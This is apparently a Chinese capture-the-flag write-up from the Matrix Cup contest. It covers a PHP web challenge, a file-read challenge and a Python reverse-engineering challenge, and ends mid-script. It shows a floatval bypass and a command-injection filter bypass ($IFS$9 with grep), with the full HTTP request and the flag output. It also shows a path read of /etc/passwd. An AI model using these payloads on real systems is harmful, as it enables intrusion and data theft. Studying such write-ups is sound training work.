矩阵杯漏洞安全闯关赛
本次自己参加了矩阵杯战队攻防对抗赛,太菜了,本来可以解出5道题,有一道web题没注意看以为是考xss,结果看大佬wp发现考点ssrf+gopher协议写webshell
easyweb


访问flag.php

下载加密的代码.zip
<?php
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1)
{
echo 'welcome,admin';
$_SESSION['admin'] = True;
}
else
{
die('flag?');
}
?>
<?php
if ($_SESSION['admin'])
{
if(isset($_POST['code']))
{
if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)
echo 'no!';
elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)
echo 'no!';
else
system($_POST['code']);
}
}
?>
floatval绕过
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1)
floatval 函数用于获取变量的浮点值,但是floatval在遇到字符时会截断后面的部分,比如-,+,空格等,所以可以构造id=1abc来满足第一个if条件

正则绕过
<?php
if ($_SESSION['admin'])
{
if(isset($_POST['code']))
{
if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)
echo 'no!';
elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)
echo 'no!';
else
system($_POST['code']);
}
}
?>
我们需要绕过的字符包括:ls、c、a、t、空格、f、i、n、d、@、#、%、^、&、*、(、)、|、/、>、<、?、'。
空格绕过 $IFS$9
使用grep -r 获取flag
POST /index.php?id=1abc HTTP/1.1
Host: web-2875746145.challenge.xctf.org.cn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Cache-Control: max-age=0
Origin: http://web-2875746145.challenge.xctf.org.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://web-2875746145.challenge.xctf.org.cn/index.php?id=1abc
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 34
code=grep$IFS$9-r$IFS$9{

welcome,admin
7l8g:flag{W6pLVqO6MK9kOXGLeOiHIIOGixKQFaud}
index.php: { index.php: { index.php: { index.php: {
where

提示访问/look
http://web-5447d7e612.challenge.xctf.org.cn/look?file=/etc/passwd

存在文件读取漏洞
直接跑字典,拿到flag

打卡下班flag{ARddmuVNaiayGI7vHjrYrQlJ7gvJFnvL}
packpy
查壳 使用了upx加壳

使用upx脱壳报错

这种提示可能是upx头信息错误
https://blog.darkskytechnology.com/repairing-a-damaged-upx-header-169e49cb5d0
https://forum.butian.net/share/1868
使用010editor修改

讲upx? 修改为 UPX!

修改后的成功脱壳

PyInstaller反编译
将脱壳后的文件,使用IDA打开

从伪代码中看到了.py,并且从题目packpy来看,就是python逆向相关,常规使用PyInstaller打包二进制文件
使用pyinstxtractor提取pyc
https://github.com/extremecoders-re/pyinstxtractor

成功反编译出来文件

uncompyle6反编译pyc
注意:uncompyle6的版本要跟pyc文件python版本一样
uncompyle6 D:\Python38\1_extracted\packpy.pyc

import base58, zlib, marshal
try:
scrambled_code_string = b'X1XehTQeZCsb4WSLBJBYZMjovD1x1E5wjTHh2w3j8dDxbscVa6HLEBSUTPEMsAcerwYASTaXFsCmWb1RxBfwBd6RmyePv3AevTDUiFAvV1GB94eURvtdrpYez7dF1egrwVz3EcQjHxXrpLXs2APE4MS93sMsgMgDrTFCNwTkPba31Aa2FeCSMu151LvEpwiPq5hvaZQPaY2s4pBpH16gGDoVb9MEvLn5J4cP23rEfV7EzNXMgqLUKF82mH1v7yjVCtYQhR8RprKCCtD3bekHjBH2AwES4QythgjVetUNDRpN5gfeJ99UYbZn1oRQHVmiu1sLjpq2mMm8tTuiZgfMfsktf5Suz2w8DgRX4qBKQijnuU4Jou9hduLeudXkZ85oWx9SU7MCE6gjsvy1u57VYw33vckJU6XGGZgZvSqKGR5oQKJf8MPNZi1dF8yF9MkwDdEq59jFsRUJDv7kNwig8XiuBXvmtJPV963thXCFQWQe8XGSu7kJqeRaBX1pkkQ4goJpgTLDHR1LW7bGcZ7m13KzW5mVmJHax81XLis774FjwWpApmTVuiGC2TQr2RcyUTkhGgC8R4bQiXgCsqZMoWyafcSmjdZsHmE6WgNAqPQmEg9FyjpK5f2XC1DkzuyHan5YceeEDMxKUJgJrmNcdGxB7281EyeriyuWNJVH2rVNhio6yoG'
exec(marshal.loads(zlib.decompress(base58.b58decode(scrambled_code_string))))
except:
pass
dis反编译可查看代码
import base58
import zlib
import marshal
import dis
# 原始编码的字符串
scrambled_code_string = b'X1XehTQeZCsb4WSLBJBYZMjovD1x1E5wjTHh2w3j8dDxbscVa6HLEBSUTPEMsAcerwYASTaXFsCmWb1RxBfwBd6RmyePv3AevTDUiFAvV1GB94eURvtdrpYez7dF1egrwVz3EcQjHxXrpLXs2APE4MS93sMsgMgDrTFCNwTkPba31Aa2FeCSMu151LvEpwiPq5hvaZQPaY2s4pBpH16gGDoVb9MEvLn5J4cP23rEfV7EzNXMgqLUKF82mH1v7yjVCtYQhR8RprKCCtD3bekHjBH2AwES4QythgjVetUNDRpN5gfeJ99UYbZn1oRQHVmiu1sLjpq2mMm8tTuiZgfMfsktf5Suz2w8DgRX4qBKQijnuU4Jou9hduLeudXkZ85oWx9SU7MCE6gjsvy1u57VYw33vckJU6XGGZgZvSqKGR5oQKJf8MPNZi1dF8yF9MkwDdEq59jFsRUJDv7kNwig8XiuBXvmtJPV963thXCFQWQe8XGSu7kJqeRaBX1pkkQ4goJpgTLDHR1LW7bGcZ7m13KzW5mVmJHax81XLis774FjwWpApmTVuiGC2TQr2RcyUTkhGgC8R4bQiXgCsqZMoWyafcSmjdZsHmE6WgNAqPQmEg9FyjpK5f2XC1DkzuyHan5YceeEDMxKUJgJrmNcdGxB7281EyeriyuWNJVH2rVNhio6yoG'
# 解码 Base58
decoded_data = base58.b58decode(scrambled_code_string)
# 解压缩 zlib
decompressed_data = zlib.decompress(decoded_data)
# 反序列化 marshal
code_object = marshal.loads(decompressed_data)
# 执行代码
#exec(code_object)
dis.dis(code_object)
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (random)
6 STORE_NAME 0 (random)
3 8 LOAD_CONST 2 (b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff')
10 STORE_NAME 1 (encdata)
5 12 LOAD_CONST 3 (<code object generate_key at 0x00000221AB28CBE0, file "run.py", line 5>)
14 LOAD_CONST 4 ('generate_key')
16 MAKE_FUNCTION 0
18 STORE_NAME 2 (generate_key)
12 20 LOAD_CONST 5 (<code object encrypt at 0x00000221AB28C030, file "run.py", line 12>)
22 LOAD_CONST 6 ('encrypt')
24 MAKE_FUNCTION 0
26 STORE_NAME 3 (encrypt)
19 28 SETUP_FINALLY 58 (to 88)
20 30 LOAD_NAME 4 (input)
32 LOAD_CONST 7 ('input your flag:')
34 CALL_FUNCTION 1
36 STORE_NAME 5 (flag)
21 38 LOAD_NAME 2 (generate_key)
40 LOAD_NAME 6 (len)
42 LOAD_NAME 5 (flag)
44 CALL_FUNCTION 1
46 CALL_FUNCTION 1
48 STORE_NAME 7 (key)
22 50 LOAD_NAME 5 (flag)
52 LOAD_METHOD 8 (encode)
54 CALL_METHOD 0
56 STORE_NAME 9 (data)
23 58 LOAD_NAME 3 (encrypt)
60 LOAD_NAME 9 (data)
62 LOAD_NAME 7 (key)
64 CALL_FUNCTION 2
66 STORE_NAME 10 (encrypted_data)
25 68 LOAD_NAME 10 (encrypted_data)
70 LOAD_NAME 1 (encdata)
72 COMPARE_OP 2 (==)
74 POP_JUMP_IF_FALSE 84
26 76 LOAD_NAME 11 (print)
78 LOAD_CONST 8 ('good')
80 CALL_FUNCTION 1
82 POP_TOP
>> 84 POP_BLOCK
86 JUMP_FORWARD 12 (to 100)
27 >> 88 POP_TOP
90 POP_TOP
92 POP_TOP
28 94 POP_EXCEPT
96 JUMP_FORWARD 2 (to 100)
98 END_FINALLY
>> 100 LOAD_CONST 1 (None)
102 RETURN_VALUE
Disassembly of <code object generate_key at 0x00000221AB28CBE0, file "run.py", line 5>:
7 0 LOAD_GLOBAL 0 (list)
2 LOAD_GLOBAL 1 (range)
4 LOAD_CONST 1 (256)
6 CALL_FUNCTION 1
8 CALL_FUNCTION 1
10 STORE_FAST 1 (key)
8 12 LOAD_GLOBAL 2 (random)
14 LOAD_METHOD 3 (seed)
16 LOAD_FAST 0 (seed_value)
18 CALL_METHOD 1
20 POP_TOP
9 22 LOAD_GLOBAL 2 (random)
24 LOAD_METHOD 4 (shuffle)
26 LOAD_FAST 1 (key)
28 CALL_METHOD 1
30 POP_TOP
10 32 LOAD_GLOBAL 5 (bytes)
34 LOAD_FAST 1 (key)
36 CALL_FUNCTION 1
38 RETURN_VALUE
Disassembly of <code object encrypt at 0x00000221AB28C030, file "run.py", line 12>:
14 0 LOAD_GLOBAL 0 (bytearray)
2 CALL_FUNCTION 0
4 STORE_FAST 2 (encrypted)
15 6 LOAD_FAST 0 (data)
8 GET_ITER
>> 10 FOR_ITER 22 (to 34)
12 STORE_FAST 3 (byte)
16 14 LOAD_FAST 2 (encrypted)
16 LOAD_METHOD 1 (append)
18 LOAD_FAST 1 (key)
20 LOAD_FAST 3 (byte)
22 BINARY_SUBSCR
24 LOAD_CONST 1 (95)
26 BINARY_XOR
28 CALL_METHOD 1
30 POP_TOP
32 JUMP_ABSOLUTE 10
17 >> 34 LOAD_GLOBAL 2 (bytes)
36 LOAD_FAST 2 (encrypted)
38 CALL_FUNCTION 1
40 RETURN_VALUE

根据字节码内容实现获取flag脚本
这段代码实现了一个简单的加密过程。让我们逐步分析:
- 首先,导入了random模块。
- 然后,定义了一个二进制数据
encdata,可能是作为某种密钥或者其他数据使用。 - 接着,定义了两个函数:
generate_key函数:生成一个包含256个数的列表,并将其打乱,然后将列表转换为字节串返回。encrypt函数:对传入的数据进行加密,其中使用了上面生成的密钥进行异或操作。
- 在主代码部分,用户被提示输入一个标志(
flag),然后通过generate_key函数生成一个密钥(key)。 - 随后,将输入的标志(
flag)编码为字节串(data)。 - 再然后,调用
encrypt函数对数据进行加密,得到加密后的数据(encrypted_data)。 - 接下来,将加密后的数据与之前定义的二进制数据
encdata进行比较,如果相等,则打印"good"。 - 最后,无论加密是否成功,都会返回
None。
这段代码的主要目的似乎是进行简单的数据加密,并通过比较结果来确认加密是否成功。
根据encdata加密值获取flag
import random
# 加密数据
encdata = b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff'
# 生成密钥的函数
def generate_key(seed_value):
# 生成一个包含 0 到 255 的随机排列的列表作为密钥
key = list(range(256))
random.seed(seed_value)
random.shuffle(key)
return bytes(key)
# 解密函数
def decrypt(encrypted_data, key):
decrypted = bytearray()
for byte in encrypted_data:
# 使用密钥对数据进行异或运算并附加到解密结果中
decrypted.append(key.index(byte ^ 95))
return bytes(decrypted)
# 已知的加密数据格式
known_data_format = b'flag{'
# 遍历所有可能的种子值


1317

被折叠的 条评论
为什么被折叠?



